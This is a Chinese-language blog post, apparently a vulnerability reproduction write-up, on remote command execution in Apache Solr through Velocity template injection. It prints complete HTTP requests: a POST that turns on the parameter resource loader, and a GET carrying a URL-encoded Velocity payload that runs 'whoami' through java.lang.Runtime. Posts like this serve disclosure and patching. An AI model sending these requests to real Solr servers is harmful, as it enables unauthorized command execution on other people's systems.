Apache Solr Velocity 远程命令执行漏洞

漏洞背景

近日,国外安全研究员s00py公开了一个Apache Solr的Velocity模板注入的漏洞,可进行远程代码执行。

漏洞成因

Apache-Solr默认集成VelocityResponseWriter插件,该插件初始化参数中的 params.resource.loader.enabled 用来控制是否允许参数资源加载器在Solr请求参数中指定模版,默认设置是 false。攻击者通过POST请求直接将params.resource.loader.enabled修改为true。经过精心构造代码发送GET请求造成远程代码执行漏洞

影响版本

影响Apache Solr多个版本,包括最新版 8.2.0

漏洞复现

获取core名称

首先需要获取solr服务中的core名称,才可以执行攻击,可以从logging和core admin中获取
在这里插入图片描述
在这里插入图片描述

加载指定资源

通过POST请求把params.resource.loader.enabled设置为True,此时用户就可以加载指定资源,也就是构造一个能执行命令的恶意请求。
在这里插入图片描述

POST /solr/core名称/config HTTP/1.1
Host: ip:8983
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://ip/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

远程命令执行

精心构造恶意代码,通过GET请求就可以远程执行命令了
在这里插入图片描述

GET /solr/core名称/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: ip:8983
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://ip/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 0

修复建议

目前,官方尚未发布相关漏洞的安全补丁,请及时关注官方更新
官网链接

参考链接

https://github.com/wyzxxz/Apache_Solr_RCE_via_Velocity_template
https://nosec.org/home/detail/3113.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值